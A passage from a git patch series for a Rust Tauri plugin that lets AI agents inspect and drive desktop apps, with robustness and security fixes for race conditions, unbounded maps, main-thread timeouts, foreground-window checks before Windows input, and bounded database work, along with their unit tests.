same (caller-chosen) session id. + generations: Arc, } #[derive(Debug, Clone)] struct ActiveRecording { session_id: String, + generation: u64, started_at: DateTime, events: VecDeque, checkpoints: VecDeque, @@ -132,9 +138,14 @@ impl EventRecorder { recording: Arc::new(Mutex::new(None)), last_session: Arc::new(Mutex::new(None)), max_events, + generations: Arc::new(AtomicU64::new(0)), } } + fn next_generation(&self) -> u64 { + self.generations.fetch_add(1, Ordering::Relaxed) + 1 + } + /// Starts a new recording session; returns `Err` if one is already active. /// /// # Errors @@ -151,12 +162,24 @@ impl EventRecorder { /// assert!(recorder.is_recording()); /// ``` pub fn start(&self, session_id: String) -> crate::error::Result<()> { + self.start_session(session_id).map(|_| ()) + } + + /// [`start`](Self::start), returning the new recording's generation — the token for + /// [`record_event_if`](Self::record_event_if) and [`stop_if_generation`](Self::stop_if_generation). + /// + /// # Errors + /// + /// Returns [`VictauriError::RecordingAlreadyActive`] if a session is already in progress. + pub fn start_session(&self, session_id: String) -> crate::error::Result { let mut rec = crate::acquire_lock(&self.recording, "EventRecorder"); if rec.is_some() { return Err(VictauriError::RecordingAlreadyActive); } + let generation = self.next_generation(); *rec = Some(ActiveRecording { session_id, + generation, started_at: Utc::now(), events: VecDeque::new(), checkpoints: VecDeque::new(), @@ -164,7 +187,7 @@ impl EventRecorder { max_events: self.max_events, max_checkpoints: DEFAULT_MAX_CHECKPOINTS, }); - Ok(()) + Ok(generation) } /// Stops the active recording and returns the completed session, or None if not recording. @@ -183,6 +206,12 @@ impl EventRecorder { #[must_use] pub fn stop(&self) -> Option { let mut rec = crate::acquire_lock(&self.recording, "EventRecorder"); + self.finish(&mut rec) + } + + /// Take the active recording out of `rec` (whose lock the caller holds) and keep it as the + /// last session. + fn finish(&self, rec: &mut Option) -> Option { rec.take().map(|r| { let session = RecordedSession { id: r.session_id, @@ -202,27 +231,55 @@ impl EventRecorder { crate::acquire_lock(&self.recording, "EventRecorder").is_some() } + /// Generation of the active recording, or `None` if not recording. + #[must_use] + pub fn generation(&self) -> Option { + crate::acquire_lock(&self.recording, "EventRecorder") + .as_ref() + .map(|r| r.generation) + } + /// Appends an event to the active recording, evicting the oldest if at capacity. pub fn record_event(&self, event: AppEvent) { let mut rec = crate::acquire_lock(&self.recording, "EventRecorder"); if let Some(ref mut active) = *rec { - let timestamp = event.timestamp(); - let index = active.event_counter; - // Saturating: an imported session can seed event_counter at usize::MAX - // (its index is attacker-controlled); a bare `+= 1` would then panic in - // debug / wrap in release on the next auto-captured event (audit #18). - active.event_counter = active.event_counter.saturating_add(1); - - if active.events.len() >= active.max_events { - active.events.pop_front(); + Self::append(active, event); + } + } + + /// [`record_event`](Self::record_event), but only into the recording of `generation`. + /// A reader that captured the generation before a slow read (the webview drain) must not + /// append what it read into a recording started after it — those events predate it. + /// Returns whether the event was recorded. + #[must_use] + pub fn record_event_if(&self, generation: u64, event: AppEvent) -> bool { + let mut rec = crate::acquire_lock(&self.recording, "EventRecorder"); + match rec.as_mut() { + Some(active) if active.generation == generation => { + Self::append(active, event); + true } + _ => false, + } + } - active.events.push_back(RecordedEvent { - index, - timestamp, - event, - }); + fn append(active: &mut ActiveRecording, event: AppEvent) { + let timestamp = event.timestamp(); + let index = active.event_counter; + // Saturating: an imported session can seed event_counter at usize::MAX + // (its index is attacker-controlled); a bare `+= 1` would then panic in + // debug / wrap in release on the next auto-captured event (audit #18). + active.event_counter = active.event_counter.saturating_add(1); + + if active.events.len() >= active.max_events { + active.events.pop_front(); } + + active.events.push_back(RecordedEvent { + index, + timestamp, + event, + }); } /// Creates a named state checkpoint at the current event index; returns `Err` if not recording. @@ -265,10 +322,28 @@ impl EventRecorder { /// Stop the active recording only if it is the session `session_id` (a caller that started /// a recording must not stop a different one someone else started after it ended). + /// + /// The id check and the stop happen under one lock: checked and stopped separately, a + /// stop + start by someone else in between made this stop the OTHER recording. Session ids + /// are caller-chosen and may repeat, so an owner that must never stop a later recording + /// with the same id should hold its generation and use + /// [`stop_if_generation`](Self::stop_if_generation). #[must_use] pub fn stop_if_session(&self, session_id: &str) -> Option { - if self.active_session_id().as_deref() == Some(session_id) { - self.stop() + let mut rec = crate::acquire_lock(&self.recording, "EventRecorder"); + if rec.as_ref().is_some_and(|r| r.session_id == session_id) { + self.finish(&mut rec) + } else { + None + } + } + + /// Stop the active recording only if it is the one of `generation` (atomically). + #[must_use] + pub fn stop_if_generation(&self, generation: u64) -> Option { + let mut rec = crate::acquire_lock(&self.recording, "EventRecorder"); + if rec.as_ref().is_some_and(|r| r.generation == generation) { + self.finish(&mut rec) } else { None } @@ -457,6 +532,29 @@ impl EventRecorder { /// `max_events`/`max_checkpoints` (audit #19), and a crafted event index of /// `usize::MAX` cannot overflow the counter (audit #18). pub fn import(&self, session: RecordedSession) { + let active = self.imported(session); + *crate::acquire_lock(&self.recording, "EventRecorder") = Some(active); + } + + /// [`import`](Self::import), but only if no recording is active — checked and replaced under + /// one lock, so a recording started concurrently is never silently discarded. Returns the + /// imported recording's generation. + /// + /// # Errors + /// + /// Returns [`VictauriError::RecordingAlreadyActive`] if a session is in progress. + pub fn import_if_idle(&self, session: RecordedSession) -> crate::error::Result { + let active = self.imported(session); + let generation = active.generation; + let mut rec = crate::acquire_lock(&self.recording, "EventRecorder"); + if rec.is_some() { + return Err(VictauriError::RecordingAlreadyActive); + } + *rec = Some(active); + Ok(generation) + } + + fn imported(&self, session: RecordedSession) -> ActiveRecording { let max_events = self.max_events; let max_checkpoints = DEFAULT_MAX_CHECKPOINTS; @@ -473,16 +571,16 @@ impl EventRecorder { let event_counter = events.back().map_or(0, |e| e.index.saturating_add(1)); - let mut rec = crate::acquire_lock(&self.recording, "EventRecorder"); - *rec = Some(ActiveRecording { + ActiveRecording { session_id: session.id, + generation: self.next_generation(), started_at: session.started_at, events, checkpoints, event_counter, max_events, max_checkpoints, - }); + } } /// Extracts IPC calls in order from the active recording or last stopped session for replay. @@ -519,3 +617,82 @@ impl Default for EventRecorder { Self::new(DEFAULT_MAX_EVENTS) } } + +#[cfg(test)] +mod tests { + use super::*; + + fn console(msg: &str) -> AppEvent { + AppEvent::console("log".to_string(), msg.to_string(), Utc::now()) + } + + // C15a: the id check and the stop must be one step. With the check and the stop under + // separate locks, a stop+start by someone else in between made `stop_if_session("x")` + // stop (and return) the OTHER recording. + #[test] + fn stop_if_session_never_stops_a_different_session() { + let rec = EventRecorder::new(100); + let racer = rec.clone(); + let stop = Arc::new(std::sync::atomic::AtomicBool::new(false)); + let stop2 = Arc::clone(&stop); + let t = std::thread::spawn(move || { + while !stop2.load(std::sync::atomic::Ordering::Relaxed) { + let _ = racer.stop(); + let _ = racer.start("other".to_string()); + } + }); + let mut wrong = 0; + for _ in 0..200_000 { + let _ = rec.start("mine".to_string()); + if let Some(s) = rec.stop_if_session("mine") + && s.id != "mine" + { + wrong += 1; + } + } + stop.store(true, std::sync::atomic::Ordering::Relaxed); + t.join().unwrap(); + assert_eq!(wrong, 0, "stop_if_session stopped someone else's recording"); + } + + // C15a (ABA): session ids are caller-chosen and may repeat, so ownership is by generation. + #[test] + fn stale_generation_cannot_stop_a_later_recording_with_the_same_id() { + let rec = EventRecorder::new(100); + let old = rec.start_session("s".to_string()).unwrap(); + let _ = rec.stop(); + let new = rec.start_session("s".to_string()).unwrap(); + assert_ne!(old, new); + assert!(rec.stop_if_generation(old).is_none()); + assert!(rec.is_recording()); + assert_eq!(rec.stop_if_generation(new).unwrap().id, "s"); + } + + // C6: a reader holding an old generation must not append into a newer recording. + #[test] + fn record_event_if_rejects_a_stale_generation() { + let rec = EventRecorder::new(100); + let a = rec.start_session("A".to_string()).unwrap(); + assert!(rec.record_event_if(a, console("during A"))); + let _ = rec.stop(); + let b = rec.start_session("B".to_string()).unwrap(); + assert!(!rec.record_event_if(a, console("late A read"))); + assert!(rec.record_event_if(b, console("during B"))); + assert_eq!(rec.event_count(), 1); + assert_eq!(rec.generation(), Some(b)); + } + + // C15b: import must not replace a recording that became active after an is_recording check. + #[test] + fn import_if_idle_refuses_while_recording() { + let rec = EventRecorder::new(100); + rec.start("live".to_string()).unwrap(); + let session = RecordedSession::new("imported", Utc::now(), vec![], vec![]); + assert!(rec.import_if_idle(session.clone()).is_err()); + assert_eq!(rec.active_session_id().as_deref(), Some("live")); + let _ = rec.stop(); + let g = rec.import_if_idle(session).unwrap(); + assert_eq!(rec.generation(), Some(g)); + assert_eq!(rec.active_session_id().as_deref(), Some("imported")); + } +} From f26f6bdc55fc76063c82bb70eb653b396faedfb7 Mon Sep 17 00:00:00 2001 From: antony Date: Sun, 27 Sep 2026 20:54:48 +1000 Subject: [PATCH 024/167] fix(introspection): bound CommandTimings to 1024 distinct commands The map is keyed by the caller-chosen command name, so ever-new names grew it forever. Once full, new names are not tracked; tracked commands keep accumulating. Audit C15e. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01We4pMEPqPFqE4WVQy4GWGz --- crates/victauri-plugin/src/introspection.rs | 24 ++++++++++++++++++++- 1 file changed, 23 insertions(+), 1 deletion(-) diff --git a/crates/victauri-plugin/src/introspection.rs b/crates/victauri-plugin/src/introspection.rs index 30884d40..5db7a153 100644 --- a/crates/victauri-plugin/src/introspection.rs +++ b/crates/victauri-plugin/src/introspection.rs @@ -118,6 +118,11 @@ impl TimingSamples { } } +/// Maximum distinct commands tracked. The map is keyed by the caller-supplied command name, so +/// without a cap an agent (or a loop) invoking ever-new names grows it forever. Once full, new +/// names are not tracked; commands already tracked keep accumulating. +const MAX_TIMED_COMMANDS: usize = 1024; + /// Thread-safe store for per-command timing data. pub struct CommandTimings { inner: RwLock>, @@ -138,7 +143,11 @@ impl CommandTimings { .inner .write() .unwrap_or_else(std::sync::PoisonError::into_inner); - map.entry(command.to_string()).or_default().record(duration); + if let Some(samples) = map.get_mut(command) { + samples.record(duration); + } else if map.len() < MAX_TIMED_COMMANDS { + map.entry(command.to_string()).or_default().record(duration); + } } /// Get stats for all commands, sorted by total time descending. @@ -1356,6 +1365,19 @@ impl DrainWatermarks { mod tests { use super::*; + // C15e: the map is keyed by the caller-chosen command name, so it must be bounded. + #[test] + fn command_timings_bound_distinct_commands() { + let t = CommandTimings::new(); + for i in 0..(MAX_TIMED_COMMANDS + 100) { + t.record(&format!("cmd-{i}"), Duration::from_millis(1)); + } + assert_eq!(t.all_stats().len(), MAX_TIMED_COMMANDS); + // Commands already tracked keep accumulating once the cap is reached. + t.record("cmd-0", Duration::from_millis(1)); + assert_eq!(t.stats_for("cmd-0").unwrap().count, 2); + } + #[test] fn p95_is_nearest_rank_not_max_for_small_samples() { let t = CommandTimings::new(); From 29047d11a0c9d2df9d94a4090a25cd084aaa84e8 Mon Sep 17 00:00:00 2001 From: antony Date: Sun, 27 Sep 2026 20:59:24 +1000 Subject: [PATCH 025/167] fix(bridge): a timed-out main-thread call never runs later; trusted input only reaches the app MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - on_main (C15c): the `abandoned` flag was checked only when the closure started, so work that began at the deadline still ran after the caller reported a timeout, and the dispatch lock was released while the closure was still queued. The closure and a timing-out caller now race through one compare-and-swap (Queued -> Running vs Queued -> Abandoned): a timeout error means the work never ran and never will; work that already started is waited for (bounded) and its real outcome returned, with the dispatch lock held throughout. The logic lives in a small `dispatch_and_wait` seam so it is unit-tested without a Tauri runtime. - Windows trusted input (C3): the SetForegroundWindow result was ignored, then SendInput sent keystrokes/clicks to whatever had focus — Windows' foreground lock refuses focus while the user types elsewhere, so an agent's Enter could land in the developer's terminal. Input is now sent only after verifying GetAncestor(GetForegroundWindow(), GA_ROOT) is the target window, and a click only if WindowFromPoint at the target point resolves inside it; otherwise a clear error. `input press_key` with `trusted` and a `ref_id` now stops when the element cannot be focused instead of sending the key anyway. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01We4pMEPqPFqE4WVQy4GWGz --- crates/victauri-plugin/src/bridge.rs | 271 ++++++++++++++++++++++---- crates/victauri-plugin/src/mcp/mod.rs | 38 +++- 2 files changed, 271 insertions(+), 38 deletions(-) diff --git a/crates/victauri-plugin/src/bridge.rs b/crates/victauri-plugin/src/bridge.rs index a0f926bd..9573bb65 100644 --- a/crates/victauri-plugin/src/bridge.rs +++ b/crates/victauri-plugin/src/bridge.rs @@ -268,7 +268,6 @@ where T: Send + 'static, F: FnOnce(&tauri::AppHandle) -> T + Send + 'static, { - use std::sync::atomic::{AtomicBool, Ordering}; let timeout = std::time::Duration::from_secs(10); // Already ON the main thread (a sync Tauri command, a menu handler, or an `on_main` closure @@ -312,32 +311,19 @@ where )); } - let (tx, rx) = std::sync::mpsc::channel(); let app_for_closure = app.clone(); - // If the caller times out and gives up, this flag tells the still-queued closure to skip - // its work — so a state-mutating op (resize/move/close/set_title) cannot apply long after - // the caller already saw a timeout error and moved on (a "spontaneous" window change). - let abandoned = std::sync::Arc::new(AtomicBool::new(false)); - let abandoned_closure = abandoned.clone(); - app.run_on_main_thread(move || { - if abandoned_closure.load(Ordering::Acquire) { - return; - } - let result = - std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| f(&app_for_closure))); - // Send only fails if the caller already timed out and dropped the receiver — ignore. - let _ = tx.send(result); - }) - .map_err(|e| format!("failed to dispatch {what} to the main thread: {e}"))?; - - match rx.recv_timeout(remaining) { - Ok(Ok(value)) => Ok(value), - Ok(Err(_panic)) => Err(format!("{what} panicked on the main thread")), - Err(e) => { - abandoned.store(true, Ordering::Release); - Err(format!("{what} did not complete on the main thread: {e}")) - } - } + // Returns with the lock still held until the closure has either run or been abandoned, + // so no second round trip is ever in flight beside a closure that may still start. + dispatch_and_wait( + what, + remaining, + timeout, + |job| { + app.run_on_main_thread(job) + .map_err(|e| format!("failed to dispatch {what} to the main thread: {e}")) + }, + move || f(&app_for_closure), + ) }; // Blocking here must not park a tokio runtime worker — under a wedged UI that could @@ -350,6 +336,85 @@ where } } +/// A dispatched closure that has not started yet. +const JOB_QUEUED: u8 = 0; +/// A dispatched closure that has started (its effects will happen). +const JOB_RUNNING: u8 = 1; +/// A dispatched closure its caller gave up on before it started: it must never run. +const JOB_ABANDONED: u8 = 2; + +/// Hand `f` to `post` (which queues it on the main thread) and wait up to `remaining` for it. +/// +/// The closure and a caller that times out race through ONE compare-and-swap: the closure only +/// runs if it moves Queued -> Running first, and the caller only reports a timeout if it moves +/// Queued -> Abandoned first. So a timeout error always means the work never happened and never +/// will — a state-mutating op (a resize, move, close, title change or eval) cannot apply after +/// the caller already saw the error and moved on. A closure that started just before the +/// deadline is waited for (up to `grace`) and its real outcome returned, instead of "timed out" +/// for work that ran. +fn dispatch_and_wait( + what: &str, + remaining: std::time::Duration, + grace: std::time::Duration, + post: impl FnOnce(Box) -> Result<(), String>, + f: F, +) -> Result +where + T: Send + 'static, + F: FnOnce() -> T + Send + 'static, +{ + use std::sync::atomic::{AtomicU8, Ordering}; + use std::sync::mpsc::RecvTimeoutError; + + let (tx, rx) = std::sync::mpsc::channel(); + let state = std::sync::Arc::new(AtomicU8::new(JOB_QUEUED)); + let job_state = std::sync::Arc::clone(&state); + post(Box::new(move || { + if job_state + .compare_exchange(JOB_QUEUED, JOB_RUNNING, Ordering::AcqRel, Ordering::Acquire) + .is_err() + { + return; + } + let result = std::panic::catch_unwind(std::panic::AssertUnwindSafe(f)); + // Send only fails if the caller already gave up and dropped the receiver — ignore. + let _ = tx.send(result); + }))?; + + let outcome = match rx.recv_timeout(remaining) { + Ok(outcome) => outcome, + Err(RecvTimeoutError::Disconnected) => { + return Err(format!( + "{what} did not complete on the main thread: the event loop dropped it" + )); + } + Err(RecvTimeoutError::Timeout) => { + if state + .compare_exchange( + JOB_QUEUED, + JOB_ABANDONED, + Ordering::AcqRel, + Ordering::Acquire, + ) + .is_ok() + { + return Err(format!( + "{what} did not complete on the main thread: timed out before it started \ + (it will not run)" + )); + } + // It started before we gave up: its effects will happen, so report its outcome. + rx.recv_timeout(grace).map_err(|_| { + format!( + "{what} started on the main thread but did not finish in time; its outcome \ + is unknown" + ) + })? + } + }; + outcome.map_err(|_panic| format!("{what} panicked on the main thread")) +} + impl WebviewBridge for tauri::AppHandle { fn eval_webview(&self, label: Option<&str>, script: &str) -> Result<(), String> { let label = label.map(str::to_string); @@ -454,21 +519,21 @@ impl WebviewBridge for tauri::AppHandle { #[cfg(windows)] fn native_type_text(&self, label: Option<&str>, text: &str) -> Result<(), String> { let hwnd = self.get_native_handle(label)?; - win_focus(hwnd); + win_focus(hwnd)?; win_send_text(text) } #[cfg(windows)] fn native_key(&self, label: Option<&str>, key: &str) -> Result<(), String> { let hwnd = self.get_native_handle(label)?; - win_focus(hwnd); + win_focus(hwnd)?; win_send_key(key) } #[cfg(windows)] fn native_click(&self, label: Option<&str>, x: f64, y: f64) -> Result<(), String> { let hwnd = self.get_native_handle(label)?; - win_focus(hwnd); + win_focus(hwnd)?; win_click(hwnd, x, y) } @@ -652,18 +717,74 @@ fn win_hwnd(hwnd: isize) -> windows::Win32::Foundation::HWND { windows::Win32::Foundation::HWND(hwnd as *mut core::ffi::c_void) } -/// Bring the target window to the foreground so input is routed to it, then -/// give the OS a brief moment to apply focus. +/// `SendInput` goes to whatever window has the foreground, not to a window we name: trusted +/// input may only be sent once the target's top-level window IS the foreground window. +#[cfg(any(windows, test))] +fn foreground_verdict(target_root: isize, foreground_root: isize) -> Result<(), String> { + if target_root != 0 && target_root == foreground_root { + Ok(()) + } else { + Err( + "refusing trusted input: the app window could not be brought to the foreground \ + (Windows' foreground lock keeps focus with the app the user is working in, e.g. a \ + terminal), so the keystrokes or click would go to that app instead. Bring the app \ + window to the front and retry, or omit `trusted` to use synthetic input." + .to_string(), + ) + } +} + +/// A trusted click lands on whatever window is topmost at the point: it must be the target. +#[cfg(any(windows, test))] +fn click_target_verdict(target_root: isize, point_root: isize) -> Result<(), String> { + if target_root != 0 && target_root == point_root { + Ok(()) + } else { + Err( + "refusing trusted click: the point is covered by another window (or lies outside \ + this one), so the click would land there. Make the element visible on screen and \ + retry, or omit `trusted` to use a synthetic click." + .to_string(), + ) + } +} + +/// The top-level window `hwnd` belongs to (0 for none). +#[allow(unsafe_code)] +#[cfg(windows)] +fn win_root(hwnd: windows::Win32::Foundation::HWND) -> isize { + use windows::Win32::UI::WindowsAndMessaging::{GA_ROOT, GetAncestor}; + // SAFETY: GetAncestor accepts any HWND (including null) and returns null when there is none. + unsafe { GetAncestor(hwnd, GA_ROOT) }.0 as isize +} + +/// Bring the target window to the foreground so input is routed to it, and verify it got +/// there. `SetForegroundWindow` is refused while the user is active in another app (Windows' +/// foreground lock); ignoring that sent the agent's keystrokes — Enter included — into the +/// developer's terminal. #[allow(unsafe_code)] #[cfg(windows)] -fn win_focus(hwnd: isize) { - use windows::Win32::UI::WindowsAndMessaging::SetForegroundWindow; +fn win_focus(hwnd: isize) -> Result<(), String> { + use windows::Win32::UI::WindowsAndMessaging::{GetForegroundWindow, SetForegroundWindow}; + let target = win_hwnd(hwnd); + let target_root = win_root(target); // SAFETY: hwnd comes from Tauri's window handle; SetForegroundWindow is safe // to call with any HWND (returns false if it fails). unsafe { - let _ = SetForegroundWindow(win_hwnd(hwnd)); + let _ = SetForegroundWindow(target); } + // Give the OS a brief moment to apply focus, then poll briefly for it to take. std::thread::sleep(std::time::Duration::from_millis(40)); + let mut verdict = Ok(()); + for _ in 0..8 { + // SAFETY: GetForegroundWindow takes no arguments and may return null. + verdict = foreground_verdict(target_root, win_root(unsafe { GetForegroundWindow() })); + if verdict.is_ok() { + break; + } + std::thread::sleep(std::time::Duration::from_millis(20)); + } + verdict } #[cfg(windows)] @@ -813,7 +934,7 @@ fn win_click(hwnd: isize, x: f64, y: f64) -> Result<(), String> { }; use windows::Win32::UI::WindowsAndMessaging::{ GetSystemMetrics, SM_CXVIRTUALSCREEN, SM_CYVIRTUALSCREEN, SM_XVIRTUALSCREEN, - SM_YVIRTUALSCREEN, + SM_YVIRTUALSCREEN, WindowFromPoint, }; let h = win_hwnd(hwnd); // SAFETY: GetDpiForWindow/GetSystemMetrics/ClientToScreen are safe to call @@ -826,6 +947,8 @@ fn win_click(hwnd: isize, x: f64, y: f64) -> Result<(), String> { y: (y * scale) as i32, }; let _ = ClientToScreen(h, &mut pt); + // The click goes to the topmost window at the point, whichever app that is. + click_target_verdict(win_root(h), win_root(WindowFromPoint(pt)))?; let vx = GetSystemMetrics(SM_XVIRTUALSCREEN); let vy = GetSystemMetrics(SM_YVIRTUALSCREEN); let vw = GetSystemMetrics(SM_CXVIRTUALSCREEN); @@ -871,7 +994,83 @@ fn win_click(hwnd: isize, x: f64, y: f64) -> Result<(), String> { #[cfg(test)] mod tests { - use super::{is_main_thread, record_main_thread}; + use super::{dispatch_and_wait, is_main_thread, record_main_thread}; + use std::sync::Arc; + use std::sync::atomic::{AtomicUsize, Ordering}; + use std::time::Duration; + + /// A stand-in main thread that starts each posted job after `delay`. + fn post_after(delay: Duration) -> impl FnOnce(Box) -> Result<(), String> { + move |job| { + std::thread::spawn(move || { + std::thread::sleep(delay); + job(); + }); + Ok(()) + } + } + + #[test] + fn a_job_still_queued_at_the_deadline_never_runs() { + let ran = Arc::new(AtomicUsize::new(0)); + let r = Arc::clone(&ran); + let out = dispatch_and_wait( + "resize_window", + Duration::from_millis(50), + Duration::from_secs(5), + post_after(Duration::from_millis(300)), + move || r.fetch_add(1, Ordering::SeqCst), + ); + assert!(out.unwrap_err().contains("will not run")); + std::thread::sleep(Duration::from_millis(500)); + assert_eq!(ran.load(Ordering::SeqCst), 0, "an abandoned job ran anyway"); + } + + #[test] + fn a_job_running_at_the_deadline_reports_its_real_outcome() { + // It started before the caller gave up, so its effects happen: reporting "timed out" + // would tell the caller a window change / eval did not happen when it did. + let out = dispatch_and_wait( + "eval_webview", + Duration::from_millis(50), + Duration::from_secs(5), + post_after(Duration::ZERO), + || { + std::thread::sleep(Duration::from_millis(300)); + 7 + }, + ); + assert_eq!(out, Ok(7)); + } + + #[test] + fn trusted_input_is_refused_unless_the_target_is_in_front() { + use super::{click_target_verdict, foreground_verdict}; + assert!(foreground_verdict(0x42, 0x42).is_ok()); + let other = foreground_verdict(0x42, 0x99).unwrap_err(); + assert!(other.contains("foreground"), "{other}"); + assert!(foreground_verdict(0x42, 0).is_err(), "no foreground window"); + assert!(foreground_verdict(0, 0).is_err(), "unknown target window"); + assert!(click_target_verdict(0x42, 0x42).is_ok()); + assert!( + click_target_verdict(0x42, 0x99) + .unwrap_err() + .contains("covered") + ); + assert!(click_target_verdict(0, 0).is_err()); + } + + #[test] + fn a_panicking_job_is_an_error_not_a_hang() { + let out: Result<(), String> = dispatch_and_wait( + "get_native_handle", + Duration::from_secs(5), + Duration::from_secs(5), + post_after(Duration::ZERO), + || panic!("boom"), + ); + assert!(out.unwrap_err().contains("panicked")); + } #[test] fn main_thread_is_recorded_once_and_only_that_thread_matches() { diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index e754fadc..e383eadf 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -1696,15 +1696,30 @@ impl VictauriMcpHandler { return missing_param("key", "press_key"); }; if params.trusted.unwrap_or(false) { - // Optionally focus a target element, then send a real OS key. + // Optionally focus a target element, then send a real OS key. A failed focus + // must stop here: the key would otherwise go to whatever holds focus. if let Some(ref_id) = ¶ms.ref_id { let focus = format!( "var __e=window.__VICTAURI__&&window.__VICTAURI__.getRef({}); if(__e){{__e.focus();}} return !!__e", js_string(ref_id) ); - let _ = self + let focused = self .eval_with_return(&focus, params.webview_label.as_deref()) .await; + match focused { + Ok(f) if f == "true" => {} + Ok(_) => { + return tool_error_with_hint( + format!("ref not found or not focusable: {ref_id}"), + RecoveryHint::CheckInput, + ); + } + Err(e) => { + return tool_error(format!( + "could not focus {ref_id} before the key press: {e}" + )); + } + } } let bridge = self.bridge.clone(); let label = params.webview_label.clone(); @@ -7489,6 +7504,25 @@ mod command_policy_dispatch_tests { assert!(state.command_timings.stats_for("ran_and_threw").is_some()); } + #[tokio::test] + async fn a_trusted_key_press_stops_when_its_element_cannot_be_focused() { + // The focus result used to be ignored and the OS key sent regardless — into whatever + // element (or app) held focus. + let state = eval_state_with_timeout(2_000); + let bridge = RecordingBridge::answering(state.pending_evals.clone()); + bridge.answer_evals_with(r#"{"__victauri_ok":false,"__victauri_type":"value"}"#); + let h = VictauriMcpHandler::new(state, Arc::new(bridge)); + let r = call( + &h, + "input", + json!({"action": "press_key", "key": "Enter", "ref_id": "e9", "trusted": true}), + ) + .await; + let text = result_text(&r); + assert_eq!(r.is_error, Some(true), "{text}"); + assert!(text.contains("not focusable"), "key sent anyway: {text}"); + } + #[tokio::test] async fn an_unserializable_result_is_reported_as_code_that_ran() { // A circular object / BigInt result used to read "JavaScript error: …" although the code From ce76d31ad277becb6863f40945fe621f7b12a554 Mon Sep 17 00:00:00 2001 From: antony Date: Sun, 27 Sep 2026 20:59:25 +1000 Subject: [PATCH 026/167] fix(mcp): bound blocking DB/probe work, isolate handler panics, no busy-UI or path oracles Audit F2 (tool side), F3-F6, C8, C10-C12. - F2: query_db / db_health run through bounded::run_blocking_bounded: a deadline (op budget + 5s slack) the caller never waits past, and a 2-slot semaphore whose permit is held by the blocking closure itself, so a timed-out call keeps its slot until its thread really ends. Residual: a single SQLite string op can still overrun its own deadline by seconds on the blocking thread; the caller no longer waits for it and at most 2 such threads exist. - F3: one ordered, de-duplicated (keep-first) root list for both tools; a HashSet made relative-path resolution nondeterministic and db_health skipped the log dir. - F4: list_app_dir walks on the blocking pool, canonicalizes the base once, and stops (truncated: true) at 10k returned / 100k examined entries or 5s. - F5: a read truncated mid-character drops the partial character instead of returning the whole file as base64. - F6: `..` in an absolute db path is refused; missing vs escaping-through- a-symlink answer identically in query_db, read_app_file and list_app_dir. - C8: look-back windows saturate to "all history" (Utc::now() - TimeDelta panicked; u64 -> i64 wrapped into a future baseline); REST execute_tool and MCP call_tool dispatch behind a catch-unwind boundary that turns a handler panic into an error result. - C10: wait_for(event) never sleeps past its deadline; poll_ms is clamped to [20, timeout_ms] before it reaches JS. - C11: WebviewBridge::try_get_window_states; window get_state/list/ introspectability, capture targeting, the windows resource, introspect capabilities and recording flush report "UI thread busy" instead of empty lists / "window not found". - C12: app_state probes run on the blocking pool with a 10s timeout; a panicking probe is a tool error. Updates db_path_outside_roots_gives_no_existence_oracle for the explicit `..` refusal. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01We4pMEPqPFqE4WVQy4GWGz --- crates/victauri-plugin/src/bridge.rs | 25 +- crates/victauri-plugin/src/database.rs | 9 +- crates/victauri-plugin/src/introspection.rs | 13 +- crates/victauri-plugin/src/mcp/bounded.rs | 208 +++++++ crates/victauri-plugin/src/mcp/mod.rs | 570 ++++++++++++------ .../src/mcp/robustness_tests.rs | 561 +++++++++++++++++ 6 files changed, 1175 insertions(+), 211 deletions(-) create mode 100644 crates/victauri-plugin/src/mcp/bounded.rs create mode 100644 crates/victauri-plugin/src/mcp/robustness_tests.rs diff --git a/crates/victauri-plugin/src/bridge.rs b/crates/victauri-plugin/src/bridge.rs index a0f926bd..bbed325b 100644 --- a/crates/victauri-plugin/src/bridge.rs +++ b/crates/victauri-plugin/src/bridge.rs @@ -19,6 +19,16 @@ pub trait WebviewBridge: Send + Sync { fn eval_webview(&self, label: Option<&str>, script: &str) -> Result<(), String>; /// Retrieve the state of one or all windows (position, size, visibility, focus, URL). fn get_window_states(&self, label: Option<&str>) -> Vec; + /// Like [`get_window_states`](Self::get_window_states), but distinguishes "could not ask" + /// (the UI thread did not answer in time) from "no such window". A caller that reports a + /// window as missing, or a list as empty, must use this. + /// + /// # Errors + /// + /// Returns an error string if the window states could not be obtained. + fn try_get_window_states(&self, label: Option<&str>) -> Result, String> { + Ok(self.get_window_states(label)) + } /// Return the labels of all open webview windows. fn list_window_labels(&self) -> Vec; /// Like [`list_window_labels`](Self::list_window_labels), but distinguishes "could not @@ -362,6 +372,15 @@ impl WebviewBridge for tauri::AppHandle { } fn get_window_states(&self, label: Option<&str>) -> Vec { + // An empty Vec here means the main-thread dispatch failed/timed out (a wedged UI), not + // "no windows" — log it so that case is diagnosable rather than silently indistinguishable. + self.try_get_window_states(label).unwrap_or_else(|e| { + tracing::warn!("get_window_states: {e}"); + Vec::new() + }) + } + + fn try_get_window_states(&self, label: Option<&str>) -> Result, String> { let label = label.map(str::to_string); on_main(self, "get_window_states", move |app| { let windows = app.webview_windows(); @@ -393,12 +412,6 @@ impl WebviewBridge for tauri::AppHandle { states }) - // An empty Vec here means the main-thread dispatch failed/timed out (a wedged UI), not - // "no windows" — log it so that case is diagnosable rather than silently indistinguishable. - .unwrap_or_else(|e| { - tracing::warn!("get_window_states: {e}"); - Vec::new() - }) } fn list_window_labels(&self) -> Vec { diff --git a/crates/victauri-plugin/src/database.rs b/crates/victauri-plugin/src/database.rs index f3edfb31..5b860aca 100644 --- a/crates/victauri-plugin/src/database.rs +++ b/crates/victauri-plugin/src/database.rs @@ -272,7 +272,7 @@ pub(crate) fn db_health_report( /// Budget for the metadata PRAGMAs + table listing in [`db_health_report`]. #[cfg(feature = "sqlite")] -const DB_HEALTH_META_BUDGET: Duration = Duration::from_secs(3); +pub(crate) const DB_HEALTH_META_BUDGET: Duration = Duration::from_secs(3); /// Open a database file Victauri did not create as read-only UNTRUSTED input: with /// `trusted_schema=OFF` (schema-embedded SQL functions / virtual tables cannot run with side @@ -1407,7 +1407,12 @@ mod tests { let started = Instant::now(); let err = query(&path, sql, &[serde_json::json!(pattern)], 